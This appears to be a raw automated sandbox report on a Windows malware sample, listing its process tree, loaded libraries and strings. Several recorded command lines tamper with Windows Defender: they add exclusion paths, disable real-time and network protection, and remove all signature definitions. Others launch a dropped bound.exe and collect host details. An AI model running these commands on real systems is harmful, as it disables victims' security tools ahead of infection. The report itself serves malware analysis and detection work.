Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7976

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI76122

Jump to behavior

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1497747676.00007FF8E81F1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

ReversingLabs: Detection: 52%

Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: set-addPolicy
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: id-cmc-addExtensions
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: can't send non-None value to a just-started async generator
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: --help
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: --help
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: fma($module, x, y, z, /) -- Fused multiply-add operation. Compute (x * y) + z with a single round.
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: can't send non-None value to a just-started coroutine
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	String found in binary or memory: /ADd$

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start bound.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7976 -s 2228
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start bound.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\bound.exe bound.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Section loaded: vcruntime140_clr0400.dll
